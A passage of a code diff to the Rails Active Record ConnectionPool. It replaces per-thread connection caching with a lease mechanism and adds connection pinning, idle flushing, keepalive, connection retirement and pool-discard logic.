+        MigrationContext.new(migrations_paths, schema_migration, internal_metadata)
+      end
+
+      def migrations_paths # :nodoc:
+        db_config.migrations_paths || Migrator.migrations_paths
+      end
+
+      def schema_migration # :nodoc:
+        SchemaMigration.new(self)
+      end
+
+      def internal_metadata # :nodoc:
+        InternalMetadata.new(self)
+      end
+
+      def activate
+        @activated = true
+      end
+
+      def activated?
+        @activated
       end
 
       # Retrieve the connection associated with the current thread, or call
       # #checkout to obtain one if necessary.
       #
-      # #connection can be called any number of times; the connection is
+      # #lease_connection can be called any number of times; the connection is
       # held in a cache keyed by a thread.
-      def connection
-        @thread_cached_conns[connection_cache_key(Thread.current)] ||= checkout
+      def lease_connection
+        lease = connection_lease
+        lease.connection ||= checkout
+        lease.sticky = true
+        lease.connection
+      end
+
+      def permanent_lease? # :nodoc:
+        connection_lease.sticky.nil?
+      end
+
+      def pin_connection!(lock_thread) # :nodoc:
+        @pinned_connection ||= (connection_lease&.connection || checkout)
+        @pinned_connections_depth += 1
+
+        # Any leased connection must be in @connections otherwise
+        # some methods like #connected? won't behave correctly
+        unless @connections.include?(@pinned_connection)
+          @connections << @pinned_connection
+        end
+
+        @pinned_connection.lock_thread = ActiveSupport::IsolatedExecutionState.context if lock_thread
+        @pinned_connection.pinned = true
+        @pinned_connection.verify! # eagerly validate the connection
+        @pinned_connection.begin_transaction joinable: false, _lazy: false
+      end
+
+      def unpin_connection! # :nodoc:
+        raise "There isn't a pinned connection #{object_id}" unless @pinned_connection
+
+        clean = true
+        @pinned_connection.lock.synchronize do
+          @pinned_connections_depth -= 1
+          connection = @pinned_connection
+          @pinned_connection = nil if @pinned_connections_depth.zero?
+
+          if connection.transaction_open?
+            connection.rollback_transaction
+          else
+            # Something committed or rolled back the transaction
+            clean = false
+            connection.reset!
+          end
+
+          if @pinned_connection.nil?
+            connection.pinned = false
+            connection.steal!
+            connection.lock_thread = nil
+            checkin(connection)
+          end
+        end
+
+        clean
+      end
+
+      def connection_descriptor # :nodoc:
+        pool_config.connection_descriptor
       end
 
       # Returns true if there is an open connection being used for the current thread.
       #
       # This method only works for connections that have been obtained through
-      # #connection or #with_connection methods. Connections obtained through
+      # #lease_connection or #with_connection methods. Connections obtained through
       # #checkout will not be detected by #active_connection?
       def active_connection?
-        @thread_cached_conns[connection_cache_key(Thread.current)]
+        connection_lease.connection
       end
+      alias_method :active_connection, :active_connection? # :nodoc:
 
       # Signal that the thread is finished with the current connection.
       # #release_connection releases the connection-thread association
       # and returns the connection to the pool.
       #
       # This method only works for connections that have been obtained through
-      # #connection or #with_connection methods, connections obtained through
+      # #lease_connection or #with_connection methods, connections obtained through
       # #checkout will not be automatically released.
-      def release_connection(owner_thread = Thread.current)
-        if conn = @thread_cached_conns.delete(connection_cache_key(owner_thread))
+      def release_connection(existing_lease = nil)
+        return if self.discarded?
+
+        if conn = connection_lease.release
           checkin conn
+          return true
         end
+        false
       end
 
-      # If a connection obtained through #connection or #with_connection methods
-      # already exists yield it to the block. If no such connection
-      # exists checkout a connection, yield it to the block, and checkin the
-      # connection when finished.
-      def with_connection
-        unless conn = @thread_cached_conns[connection_cache_key(Thread.current)]
-          conn = connection
-          fresh_connection = true
+      # Yields a connection from the connection pool to the block. If no connection
+      # is already checked out by the current thread, a connection will be checked
+      # out from the pool, yielded to the block, and then returned to the pool when
+      # the block is finished. If a connection has already been checked out on the
+      # current thread, such as via #lease_connection or #with_connection, that existing
+      # connection will be the one yielded and it will not be returned to the pool
+      # automatically at the end of the block; it is expected that such an existing
+      # connection will be properly returned to the pool by the code that checked
+      # it out.
+      def with_connection(prevent_permanent_checkout: false)
+        lease = connection_lease
+        sticky_was = lease.sticky
+        lease.sticky = false if prevent_permanent_checkout
+
+        if lease.connection
+          begin
+            yield lease.connection
+          ensure
+            lease.sticky = sticky_was if prevent_permanent_checkout && !sticky_was
+          end
+        else
+          begin
+            yield lease.connection = checkout
+          ensure
+            lease.sticky = sticky_was if prevent_permanent_checkout && !sticky_was
+            release_connection(lease) unless lease.sticky
+          end
+        end
+      end
+
+      def with_pool_transaction_isolation_level(isolation_level, transaction_open, &block) # :nodoc:
+        if !ActiveRecord.default_transaction_isolation_level.nil?
+          begin
+            if transaction_open && self.pool_transaction_isolation_level != ActiveRecord.default_transaction_isolation_level
+              raise ActiveRecord::TransactionIsolationError, "cannot set default isolation level while transaction is open"
+            end
+
+            old_level = self.pool_transaction_isolation_level
+            self.pool_transaction_isolation_level = isolation_level
+            yield
+          ensure
+            self.pool_transaction_isolation_level = old_level
+          end
+        else
+          yield
         end
-        yield conn
-      ensure
-        release_connection if fresh_connection
       end
 
       # Returns true if a connection has already been opened.
       def connected?
-        synchronize { @connections.any? }
+        synchronize { @connections.any?(&:connected?) }
+      end
+
+      # Returns an array containing the connections currently in the pool.
+      # Access to the array does not require synchronization on the pool because
+      # the array is newly created and not retained by the pool.
+      #
+      # However; this method bypasses the ConnectionPool's thread-safe connection
+      # access pattern. A returned connection may be owned by another thread,
+      # unowned, or by happen-stance owned by the calling thread.
+      #
+      # Calling methods on a connection without ownership is subject to the
+      # thread-safety guarantees of the underlying method. Many of the methods
+      # on connection adapter classes are inherently multi-thread unsafe.
+      def connections
+        synchronize { @connections.dup }
       end
 
       # Disconnects all connections in the pool, and clears the pool.
@@ -410,19 +511,28 @@ def connected?
       # Raises:
       # - ActiveRecord::ExclusiveConnectionTimeoutError if unable to gain ownership of all
       #   connections in the pool within a timeout interval (default duration is
-      #   <tt>spec.config[:checkout_timeout] * 2</tt> seconds).
+      #   <tt>spec.db_config.checkout_timeout * 2</tt> seconds).
       def disconnect(raise_on_acquisition_timeout = true)
-        with_exclusively_acquired_all_connections(raise_on_acquisition_timeout) do
-          synchronize do
-            @connections.each do |conn|
-              if conn.in_use?
-                conn.steal!
-                checkin conn
+        @reaper_lock.synchronize do
+          return if self.discarded?
+
+          with_exclusively_acquired_all_connections(raise_on_acquisition_timeout) do
+            synchronize do
+              return if self.discarded?
+              @connections.each do |conn|
+                if conn.in_use?
+                  conn.steal!
+                  checkin conn
+                end
+                conn.disconnect!
               end
-              conn.disconnect!
+              @connections = []
+              @leases.clear
+              @available.clear
+
+              # Stop maintaining the minimum size until reactivated
+              @activated = false
             end
-            @connections = []
-            @available.clear
           end
         end
       end
@@ -431,19 +541,50 @@ def disconnect(raise_on_acquisition_timeout = true)
       #
       # The pool first tries to gain ownership of all connections. If unable to
       # do so within a timeout interval (default duration is
-      # <tt>spec.config[:checkout_timeout] * 2</tt> seconds), then the pool is forcefully
+      # <tt>spec.db_config.checkout_timeout * 2</tt> seconds), then the pool is forcefully
       # disconnected without any regard for other connection owning threads.
       def disconnect!
         disconnect(false)
       end
 
-      # Clears the cache which maps classes and re-connects connections that
+      # Discards all connections in the pool (even if they're currently
+      # leased!), along with the pool itself. Any further interaction with the
+      # pool (except #spec and #schema_cache) is undefined.
+      #
+      # See AbstractAdapter#discard!
+      def discard! # :nodoc:
+        @reaper_lock.synchronize do
+          synchronize do
+            return if self.discarded?
+            @connections.each do |conn|
+              conn.discard!
+            end
+            @connections = @available = @leases = nil
+          end
+        end
+      end
+
+      def discarded? # :nodoc:
+        @connections.nil?
+      end
+
+      def maintainable? # :nodoc:
+        synchronize do
+          @connections&.size&.> 0 || (activated? && @min_connections > 0)
+        end
+      end
+
+      def reaper_lock(&block) # :nodoc:
+        @reaper_lock.synchronize(&block)
+      end
+
+      # Clears reloadable connections from the pool and re-connects connections that
       # require reloading.
       #
       # Raises:
       # - ActiveRecord::ExclusiveConnectionTimeoutError if unable to gain ownership of all
       #   connections in the pool within a timeout interval (default duration is
-      #   <tt>spec.config[:checkout_timeout] * 2</tt> seconds).
+      #   <tt>spec.db_config.checkout_timeout * 2</tt> seconds).
       def clear_reloadable_connections(raise_on_acquisition_timeout = true)
         with_exclusively_acquired_all_connections(raise_on_acquisition_timeout) do
           synchronize do
@@ -460,12 +601,12 @@ def clear_reloadable_connections(raise_on_acquisition_timeout = true)
         end
       end
 
-      # Clears the cache which maps classes and re-connects connections that
+      # Clears reloadable connections from the pool and re-connects connections that
       # require reloading.
       #
       # The pool first tries to gain ownership of all connections. If unable to
       # do so within a timeout interval (default duration is
-      # <tt>spec.config[:checkout_timeout] * 2</tt> seconds), then the pool forcefully
+      # <tt>spec.db_config.checkout_timeout * 2</tt> seconds), then the pool forcefully
       # clears the cache and reloads connections without any regard for other
       # connection owning threads.
       def clear_reloadable_connections!
@@ -487,7 +628,26 @@ def clear_reloadable_connections!
       # Raises:
       # - ActiveRecord::ConnectionTimeoutError no connection can be obtained from the pool.
       def checkout(checkout_timeout = @checkout_timeout)
-        checkout_and_verify(acquire_connection(checkout_timeout))
+        return checkout_and_verify(acquire_connection(checkout_timeout)) unless @pinned_connection
+
+        @pinned_connection.lock.synchronize do
+          synchronize do
+            # The pinned connection may have been cleaned up before we synchronized, so check if it is still present
+            if @pinned_connection
+              @pinned_connection.verify!
+
+              # Any leased connection must be in @connections otherwise
+              # some methods like #connected? won't behave correctly
+              unless @connections.include?(@pinned_connection)
+                @connections << @pinned_connection
+              end
+
+              @pinned_connection
+            else
+              checkout_and_verify(acquire_connection(checkout_timeout))
+            end
+          end
+        end
       end
 
       # Check-in a database connection back into the pool, indicating that you
@@ -496,14 +656,14 @@ def checkout(checkout_timeout = @checkout_timeout)
       # +conn+: an AbstractAdapter object, which was obtained by earlier by
       # calling #checkout on this pool.
       def checkin(conn)
-        synchronize do
-          remove_connection_from_thread_cache conn
+        return if @pinned_connection.equal?(conn)
 
-          conn._run_checkin_callbacks do
+        conn.lock.synchronize do
+          synchronize do
+            connection_lease.clear(conn)
             conn.expire
+            @available.add conn
           end
-
-          @available.add conn
         end
       end
 
@@ -519,7 +679,7 @@ def remove(conn)
           @available.delete conn
 
           # @available.any_waiting? => true means that prior to removing this
-          # conn, the pool was at its max size (@connections.size == @size).
+          # conn, the pool was at its max size (@connections.size == @max_connections).
           # This would mean that any threads stuck waiting in the queue wouldn't
           # know they could checkout_new_connection, so let's do it for them.
           # Because condition-wait loop is encapsulated in the Queue class
@@ -527,14 +687,14 @@ def remove(conn)
           # that are "stuck" there are helpless. They have no way of creating
           # new connections and are completely reliant on us feeding available
           # connections into the Queue.
-          needs_new_connection = @available.any_waiting?
+          needs_new_connection = @available.num_waiting > @maintaining
         end
 
         # This is intentionally done outside of the synchronized section as we
         # would like not to hold the main mutex while checking out new connections.
         # Thus there is some chance that needs_new_connection information is now
         # stale, we can live with that (bulk_make_new_connections will make
-        # sure not to exceed the pool's @size limit).
+        # sure not to exceed the pool's @max_connections limit).
         bulk_make_new_connections(1) if needs_new_connection
       end
 
@@ -543,6 +703,7 @@ def remove(conn)
       # or a thread dies unexpectedly.
       def reap
         stale_connections = synchronize do
+          return if self.discarded?
           @connections.select do |conn|
             conn.in_use? && !conn.owner.alive?
           end.each do |conn|
@@ -560,12 +721,144 @@ def reap
         end
       end
 
+      # Disconnect all connections that have been idle for at least
+      # +minimum_idle+ seconds. Connections currently checked out, or that were
+      # checked in less than +minimum_idle+ seconds ago, are unaffected.
+      def flush(minimum_idle = @idle_timeout)
+        return if minimum_idle.nil?
+
+        removed_connections = synchronize do
+          return if self.discarded?
+
+          idle_connections = @connections.select do |conn|
+            !conn.in_use? && conn.seconds_idle >= minimum_idle
+          end.sort_by { |conn| -conn.seconds_idle } # sort longest idle first
+
+          # Don't go below our configured pool minimum unless we're flushing
+          # everything
+          idles_to_retain =
+            if minimum_idle > 0
+              @min_connections - (@connections.size - idle_connections.size)
+            else
+              0
+            end
+
+          if idles_to_retain > 0
+            idle_connections.pop idles_to_retain
+          end
+
+          idle_connections.each do |conn|
+            conn.lease
+
+            @available.delete conn
+            @connections.delete conn
+          end
+        end
+
+        removed_connections.each do |conn|
+          conn.disconnect!
+        end
+      end
+
+      # Disconnect all currently idle connections. Connections currently checked
+      # out are unaffected. The pool will stop maintaining its minimum size until
+      # it is reactivated (such as by a subsequent checkout).
+      def flush!
+        reap
+        flush(-1)
+
+        # Stop maintaining the minimum size until reactivated
+        @activated = false
+      end
+
+      # Ensure that the pool contains at least the configured minimum number of
+      # connections.
+      def prepopulate
+        need_new_connections = nil
+
+        synchronize do
+          return if self.discarded?
+
+          # We don't want to start prepopulating until we know the pool is wanted,
+          # so we can avoid maintaining full pools in one-off scripts etc.
+          return unless @activated
+
+          need_new_connections = @connections.size < @min_connections
+        end
+
+        if need_new_connections
+          while new_conn = try_to_checkout_new_connection { @connections.size < @min_connections }
+            new_conn.allow_preconnect = true
+            checkin(new_conn)
+          end
+        end
+      end
+
+      def retire_old_connections(max_age = @max_age)
+        max_age ||= Float::INFINITY
+
+        sequential_maintenance -> c { c.connection_age&.>= c.pool_jitter(max_age) } do |conn|
+          # Disconnect, then return the adapter to the pool. Preconnect will
+          # handle the rest.
+          conn.disconnect!
+        end
+      end
+
+      # Preconnect all connections in the pool. This saves pool users from
+      # having to wait for a connection to be established when first using it
+      # after checkout.
+      def preconnect
+        sequential_maintenance -> c { (!c.connected? || !c.verified?) && c.allow_preconnect } do |conn|
+          conn.connect!
+        rescue
+          # Wholesale rescue: there's nothing we can do but move on. The
+          # connection will go back to the pool, and the next consumer will
+          # presumably try to connect again -- which will either work, or
+          # fail and they'll be able to report the exception.
+        end
+      end
+
+      # Prod any connections that have been idle for longer than the configured
+      # keepalive time. This will incidentally verify the connection is still
+      # alive, but the main purpose is to show the server (and any intermediate
+      # network hops) that we're still here and using the connection.
+      def keep_alive(threshold = @keepalive)
+        return if threshold.nil?
+
+        sequential_maintenance -> c { (c.seconds_since_last_activity || 0) > c.pool_jitter(threshold) } do |conn|
+          # conn.active? will cause some amount of network activity, which is all
+          # we need to provide a keepalive signal.
+          #
+          # If it returns false, the connection is already broken; disconnect,
+          # so it can be found and repaired.
+          conn.disconnect! unless conn.active?
+        end
+      end
+
+      # Immediately mark all current connections as due for replacement,
+      # equivalent to them having reached +max_age+ -- even if there is
+      # no +max_age+ configured.
+      def recycle!
+        synchronize do
+          return if self.discarded?
+
+          @connections.each do |conn|
+            conn.force_retirement
+          end
+        end
+
+        retire_old_connections
+      end
+
       def num_waiting_in_queue # :nodoc:
         @available.num_waiting
       end
 
-      # Return connection pool's usage statistic
-      # Example:
+      def num_available_in_queue # :nodoc:
+        @available.size
+      end
+
+      # Returns the connection pool's usage statistic.
       #
       #    ActiveRecord::Base.connection_pool.stat # => { size: 15, connections: 1, busy: 1, dead: 0, idle: 0, waiting: 0, checkout_timeout: 5 }
       def stat
@@ -582,12 +875,155 @@ def stat
         end
       end
 
+      def schedule_query(future_result) # :nodoc:
+        @async_executor.post { future_result.execute_or_skip }
+        Thread.pass
+      end
+
+      def new_connection # :nodoc:
+        connection = db_config.new_connection
+        connection.pool = self
+        connection
+      rescue ConnectionNotEstablished => ex
+        raise ex.set_pool(self)
+      end
+
+      def pool_transaction_isolation_level
+        isolation_level_key = "activerecord_pool_transaction_isolation_level_#{db_config.name}"
+        ActiveSupport::IsolatedExecutionState[isolation_level_key]
+      end
+
+      def pool_transaction_isolation_level=(isolation_level)
+        isolation_level_key = "activerecord_pool_transaction_isolation_level_#{db_config.name}"
+        ActiveSupport::IsolatedExecutionState[isolation_level_key] = isolation_level
+      end
+
       private
+        def connection_lease
+          @leases[ActiveSupport::IsolatedExecutionState.context]
+        end
+
+        def build_async_executor
+          case ActiveRecord.async_query_executor
+          when :multi_thread_pool
+            if @db_config.max_threads > 0
+              name_with_shard = [name_inspect, shard_inspect].join("-").tr("_", "-")
+              Concurrent::ThreadPoolExecutor.new(
+                name: "ActiveRecord-#{name_with_shard}-async-query-executor",
+                min_threads: @db_config.min_threads,
+                max_threads: @db_config.max_threads,
+                max_queue: @db_config.max_queue,
+                fallback_policy: :caller_runs
+              )
+            end
+          when :global_thread_pool
+            ActiveRecord.global_thread_pool_async_query_executor
+          end
+        end
+
+        # Perform maintenance work on pool connections. This method will
+        # select a connection to work on by calling the +candidate_selector+
+        # proc while holding the pool lock. If a connection is selected, it
+        # will be checked out for maintenance and passed to the
+        # +maintenance_work+ proc. The connection will always be returned to
+        # the pool after the proc completes.
+        #
+        # If the pool has async threads, all work will be scheduled there.
+        # Otherwise, this method will block until all work is complete.
+        #
+        # Each connection will only be processed once per call to this method,
+        # but (particularly in the async case) there is no protection against
+        # a second call to this method starting to work through the list
+        # before the first call has completed. (Though regular pool behavior
+        # will prevent two instances from working on the same specific
+        # connection at the same time.)
+        def sequential_maintenance(candidate_selector, &maintenance_work)
+          # This hash doesn't need to be synchronized, because it's only
+          # used by one thread at a time: the +perform_work+ block gives
+          # up its right to +connections_visited+ when it schedules the
+          # next iteration.
+          connections_visited = Hash.new(false)
+          connections_visited.compare_by_identity
+
+          perform_work = lambda do
+            connection_to_maintain = nil
+
+            synchronize do
+              unless self.discarded?
+                if connection_to_maintain = @connections.select { |conn| !conn.in_use? }.select(&candidate_selector).sort_by(&:seconds_idle).find { |conn| !connections_visited[conn] }
+                  checkout_for_maintenance connection_to_maintain
+                end
+              end
+            end
+
+            if connection_to_maintain
+              connections_visited[connection_to_maintain] = true
+
+              # If we're running async, we can schedule the next round of work
+              # as soon as we've grabbed a connection to work on.
+              @async_executor&.post(&perform_work)
+
+              begin
+                maintenance_work.call connection_to_maintain
+              ensure
+                return_from_maintenance connection_to_maintain
+              end
+
+              true
+            end
+          end
+
+          if @async_executor
+            @async_executor.post(&perform_work)
+          else
+            nil while perform_work.call
+          end
+        end
+
+        # Directly check a specific connection out of the pool. Skips callbacks.
+        #
+        # The connection must later either #return_from_maintenance or
+        # #remove_from_maintenance, or the pool will hang.
+        def checkout_for_maintenance(conn)
+          synchronize do
+            @maintaining += 1
+            @available.delete(conn)
+            conn.lease
+            conn
+          end
+        end
+
+        # Return a connection to the pool after it has been checked out for
+        # maintenance. Does not update the connection's idle time, and skips
+        # callbacks.
+        #--
+        # We assume that a connection that has required maintenance is less
+        # desirable (either it's been idle for a long time, or it was just
+        # created and hasn't been used yet). We'll put it at the back of the
+        # queue.
+        def return_from_maintenance(conn)
+          synchronize do
+            conn.expire(false)
+            @available.add_back(conn)
+            @maintaining -= 1
+          end
+        end
+
+        # Remove a connection from the pool after it has been checked out for
+        # maintenance. It will be automatically replaced with a new connection if
+        # necessary.
+        def remove_from_maintenance(conn)
+          synchronize do
+            @maintaining -= 1
+            remove conn
+          end
+        end
+
         #--
         # this is unfortunately not concurrent
         def bulk_make_new_connections(num_new_conns_needed)
           num_new_conns_needed.times do
-            # try_to_checkout_new_connection will not exceed pool's @size limit
+            # try_to_checkout_new_connection will not exceed pool's @max_connections limit
             if new_conn = try_to_checkout_new_connection
               # make the new_conn available to the starving threads stuck @available Queue
               checkin(new_conn)
@@ -595,40 +1031,36 @@ def bulk_make_new_connections(num_new_conns_needed)
           end
         end
 
-        #--
-        # From the discussion on GitHub:
-        #  https://github.com/rails/rails/pull/14938#commitcomment-6601951
-        # This hook-in method allows for easier monkey-patching fixes needed by
-        # JRuby users that use Fibers.
-        def connection_cache_key(thread)
-          thread
-        end
-
         # Take control of all existing connections so a "group" action such as
         # reload/disconnect can be performed safely. It is no longer enough to
         # wrap it in +synchronize+ because some pool's actions are allowed
         # to be performed outside of the main +synchronize+ block.
         def with_exclusively_acquired_all_connections(raise_on_acquisition_timeout = true)
-          with_new_connections_blocked do
-            attempt_to_checkout_all_existing_connections(raise_on_acquisition_timeout)
-            yield
+          @reaper_lock.synchronize do
+            with_new_connections_blocked do
+              attempt_to_checkout_all_existing_connections(raise_on_acquisition_timeout)
+              yield
+            end
           end
         end
 
         def attempt_to_checkout_all_existing_connections(raise_on_acquisition_timeout = true)
           collected_conns = synchronize do
+            reap # No need to wait for dead owners
+
             # account for our own connections
-            @connections.select { |conn| conn.owner == Thread.current }
+            @connections.select { |conn| conn.owner == ActiveSupport::IsolatedExecutionState.context }
           end
 
           newly_checked_out = []
-          timeout_time      = Time.now + (@checkout_timeout * 2)
+          timeout_time      = Process.clock_gettime(Process::CLOCK_MONOTONIC) + (@checkout_timeout * 2)
 
-          @available.with_a_bias_for(Thread.current) do
+          @available.with_a_bias_for(ActiveSupport::IsolatedExecutionState.context) do
             loop do
               synchronize do
                 return if collected_conns.size == @connections.size && @now_connecting == 0
-                remaining_timeout = timeout_time - Time.now
+
+                remaining_timeout = timeout_time - Process.clock_gettime(Process::CLOCK_MONOTONIC)
                 remaining_timeout = 0 if remaining_timeout < 0
                 conn = checkout_for_exclusive_access(remaining_timeout)
                 collected_conns   << conn
@@ -667,18 +1099,18 @@ def checkout_for_exclusive_access(checkout_timeout)
           # this block can't be easily moved into attempt_to_checkout_all_existing_connections's
           # rescue block, because doing so would put it outside of synchronize section, without
           # being in a critical section thread_report might become inaccurate
-          msg = "could not obtain ownership of all database connections in #{checkout_timeout} seconds"
+          msg = +"could not obtain ownership of all database connections in #{checkout_timeout} seconds"
 
           thread_report = []
           @connections.each do |conn|
-            unless conn.owner == Thread.current
+            unless conn.owner == ActiveSupport::IsolatedExecutionState.context
               thread_report << "#{conn} is owned by #{conn.owner}"
             end
           end
 
           msg << " (#{thread_report.join(', ')})" if thread_report.any?
 
-          raise ExclusiveConnectionTimeoutError, msg
+          raise ExclusiveConnectionTimeoutError.new(msg, connection_pool: self)
         end
 
         def with_new_connections_blocked
@@ -722,44 +1154,82 @@ def with_new_connections_blocked
         # Implementation detail: the connection returned by +acquire_connection+
         # will already be "+connection.lease+ -ed" to the current thread.
         def acquire_connection(checkout_timeout)
-          # NOTE: we rely on +@available.poll+ and +try_to_checkout_new_connection+ to
+          # NOTE: we rely on <tt>@available.poll</tt> and +try_to_checkout_new_connection+ to
           # +conn.lease+ the returned connection (and to do this in a +synchronized+
           # section). This is not the cleanest implementation, as ideally we would
-          # <tt>synchronize { conn.lease }</tt> in this method, but by leaving it to +@available.poll+
+          # <tt>synchronize { conn.lease }</tt> in this method, but by leaving it to <tt>@available.poll</tt>
           # and +try_to_checkout_new_connection+ we can piggyback on +synchronize+ sections
           # of the said methods and avoid an additional +synchronize+ overhead.
-          if conn = @available.poll || try_to_checkout_new_connection
+          if conn = @available.poll || try_to_queue_for_background_connection(checkout_timeout) || try_to_checkout_new_connection
             conn
           else
             reap
-            @available.poll(checkout_timeout)
+            # Retry after reaping, which may return an available connection,
+            # remove an inactive connection, or both
+            if conn = @available.poll || try_to_queue_for_background_connection(checkout_timeout) || try_to_checkout_new_connection
+              conn
+            else
+              @available.poll(checkout_timeout)
+            end
           end
+        rescue ConnectionTimeoutError => ex
+          raise ex.set_pool(self)
         end
 
         #--
-        # if owner_thread param is omitted, this must be called in synchronize block
-        def remove_connection_from_thread_cache(conn, owner_thread = conn.owner)
-          @thread_cached_conns.delete_pair(connection_cache_key(owner_thread), conn)
+        # If new connections are already being established in the background,
+        # and there are fewer threads already waiting than the number of
+        # upcoming connections, we can just get in queue and wait to be handed a
+        # connection. This avoids us overshooting the required connection count
+        # by starting a new connection ourselves, and is likely to be faster
+        # too (because at least some of the time it takes to establish a new
+        # connection must have already passed).
+        #
+        # If background connections are available, this method will block and
+        # return a connection. If no background connections are available, it
+        # will immediately return +nil+.
+        def try_to_queue_for_background_connection(checkout_timeout)
+          return unless @maintaining > 0
+
+          synchronize do
+            return unless @maintaining > @available.num_waiting
+
+            # We are guaranteed the "maintaining" thread will return its promised
+            # connection within one maintenance-unit of time. Thus we can safely
+            # do a blocking wait with (functionally) no timeout.
+            @available.poll(100)
+          end
         end
-        alias_method :release, :remove_connection_from_thread_cache
 
-        def new_connection
-          Base.send(spec.adapter_method, spec.config).tap do |conn|
-            conn.schema_cache = schema_cache.dup if schema_cache
+        #--
+        # if owner_thread param is omitted, this must be called in synchronize block
+        def remove_connection_from_thread_cache(conn, owner_thread = conn.owner)
+          if owner_thread
+            @leases[owner_thread].clear(conn)
           end
         end
+        alias_method :release, :remove_connection_from_thread_cache
 
-        # If the pool is not at a +@size+ limit, establish new connection. Connecting
+        # If the pool is not at a <tt>@max_connections</tt> limit, establish new connection. Connecting
         # to the DB is done outside main synchronized section.
+        #
+        # If a block is supplied, it is an additional constraint (checked while holding the
+        # pool lock) on whether a new connection should be established.
         #--
         # Implementation constraint: a newly established connection returned by this
         # method must be in the +.leased+ state.
         def try_to_checkout_new_connection
           # first in synchronized section check if establishing new conns is allowed
-          # and increment @now_connecting, to prevent overstepping this pool's @size
+          # and increment @now_connecting, to prevent overstepping this pool's @max_connections
           # constraint
           do_checkout = synchronize do
-            if @threads_blocking_new_connections.zero? && (@connections.size + @now_connecting) < @size
+            return if self.discarded?
+
+            if @threads_blocking_new_connections.zero? && (@max_connections.nil? || (@connections.size + @now_connecting) < @max_connections) && (!block_given? || yield)
+              if @connections.size > 0 || @original_context != ActiveSupport::IsolatedExecutionState.context
+                @activated = true
+              end
+
               @now_connecting += 1
             end
           end
@@ -770,12 +1240,16 @@ def try_to_checkout_new_connection
               conn = checkout_new_connection
             ensure
               synchronize do
+                @now_connecting -= 1
                 if conn
-                  adopt_connection(conn)
-                  # returned conn needs to be already leased
-                  conn.lease
+                  if self.discarded?
+                    conn.discard!
+                  else
+                    adopt_connection(conn)
+                    # returned conn needs to be already leased
+                    conn.lease
+                  end
                 end
-                @now_connecting -= 1
               end
             end
           end
@@ -784,6 +1258,12 @@ def try_to_checkout_new_connection
         def adopt_connection(conn)
           conn.pool = self
           @connections << conn
+
+          # We just created the first connection, it's time to load the schema
+          # cache if that wasn't eagerly done before
+          if @schema_cache.nil? && ActiveRecord.lazily_load_schema_cache
+            schema_cache.load!
+          end
         end
 
         def checkout_new_connection
@@ -792,183 +1272,19 @@ def checkout_new_connection
         end
 
         def checkout_and_verify(c)
-          c._run_checkout_callbacks do
-            c.verify!
-          end
-          c
-        rescue
+          c.clean!
+        rescue Exception
           remove c
           c.disconnect!
           raise
         end
-    end
-
-    # ConnectionHandler is a collection of ConnectionPool objects. It is used
-    # for keeping separate connection pools that connect to different databases.
-    #
-    # For example, suppose that you have 5 models, with the following hierarchy:
-    #
-    #   class Author < ActiveRecord::Base
-    #   end
-    #
-    #   class BankAccount < ActiveRecord::Base
-    #   end
-    #
-    #   class Book < ActiveRecord::Base
-    #     establish_connection "library_db"
-    #   end
-    #
-    #   class ScaryBook < Book
-    #   end
-    #
-    #   class GoodBook < Book
-    #   end
-    #
-    # And a database.yml that looked like this:
-    #
-    #   development:
-    #     database: my_application
-    #     host: localhost
-    #
-    #   library_db:
-    #     database: library
-    #     host: some.library.org
-    #
-    # Your primary database in the development environment is "my_application"
-    # but the Book model connects to a separate database called "library_db"
-    # (this can even be a database on a different machine).
-    #
-    # Book, ScaryBook and GoodBook will all use the same connection pool to
-    # "library_db" while Author, BankAccount, and any other models you create
-    # will use the default connection pool to "my_application".
-    #
-    # The various connection pools are managed by a single instance of
-    # ConnectionHandler accessible via ActiveRecord::Base.connection_handler.
-    # All Active Record models use this handler to determine the connection pool that they
-    # should use.
-    #
-    # The ConnectionHandler class is not coupled with the Active models, as it has no knowlodge
-    # about the model. The model needs to pass a specification name to the handler,
-    # in order to lookup the correct connection pool.
-    class ConnectionHandler
-      def initialize
-        # These caches are keyed by spec.name (ConnectionSpecification#name).
-        @owner_to_pool = Concurrent::Map.new(initial_capacity: 2) do |h, k|
-          h[k] = Concurrent::Map.new(initial_capacity: 2)
-        end
-      end
-
-      def connection_pool_list
-        owner_to_pool.values.compact
-      end
-      alias :connection_pools :connection_pool_list
-
-      def establish_connection(config)
-        resolver = ConnectionSpecification::Resolver.new(Base.configurations)
-        spec = resolver.spec(config)
-
-        remove_connection(spec.name)
-
-        message_bus = ActiveSupport::Notifications.instrumenter
-        payload = {
-          connection_id: object_id
-        }
-        if spec
-          payload[:spec_name] = spec.name
-          payload[:config] = spec.config
-        end
-
-        message_bus.instrument("!connection.active_record", payload) do
-          owner_to_pool[spec.name] = ConnectionAdapters::ConnectionPool.new(spec)
-        end
-
-        owner_to_pool[spec.name]
-      end
-
-      # Returns true if there are any active connections among the connection
-      # pools that the ConnectionHandler is managing.
-      def active_connections?
-        connection_pool_list.any?(&:active_connection?)
-      end
-
-      # Returns any connections in use by the current thread back to the pool,
-      # and also returns connections to the pool cached by threads that are no
-      # longer alive.
-      def clear_active_connections!
-        connection_pool_list.each(&:release_connection)
-      end
-
-      # Clears the cache which maps classes.
-      #
-      # See ConnectionPool#clear_reloadable_connections! for details.
-      def clear_reloadable_connections!
-        connection_pool_list.each(&:clear_reloadable_connections!)
-      end
-
-      def clear_all_connections!
-        connection_pool_list.each(&:disconnect!)
-      end
-
-      # Locate the connection of the nearest super class. This can be an
-      # active or defined connection: if it is the latter, it will be
-      # opened and set as the active connection for the class it was defined
-      # for (not necessarily the current class).
-      def retrieve_connection(spec_name) #:nodoc:
-        pool = retrieve_connection_pool(spec_name)
-        raise ConnectionNotEstablished, "No connection pool with '#{spec_name}' found." unless pool
-        conn = pool.connection
-        raise ConnectionNotEstablished, "No connection for '#{spec_name}' in connection pool" unless conn
-        conn
-      end
-
-      # Returns true if a connection that's accessible to this class has
-      # already been opened.
-      def connected?(spec_name)
-        conn = retrieve_connection_pool(spec_name)
-        conn && conn.connected?
-      end
-
-      # Remove the connection for this class. This will close the active
-      # connection and the defined connection (if they exist). The result
-      # can be used as an argument for #establish_connection, for easily
-      # re-establishing the connection.
-      def remove_connection(spec_name)
-        if pool = owner_to_pool.delete(spec_name)
-          pool.automatic_reconnect = false
-          pool.disconnect!
-          pool.spec.config
-        end
-      end
-
-      # Retrieving the connection pool happens a lot, so we cache it in @owner_to_pool.
-      # This makes retrieving the connection pool O(1) once the process is warm.
-      # When a connection is established or removed, we invalidate the cache.
-      def retrieve_connection_pool(spec_name)
-        owner_to_pool.fetch(spec_name) do
-          # Check if a connection was previously established in an ancestor process,
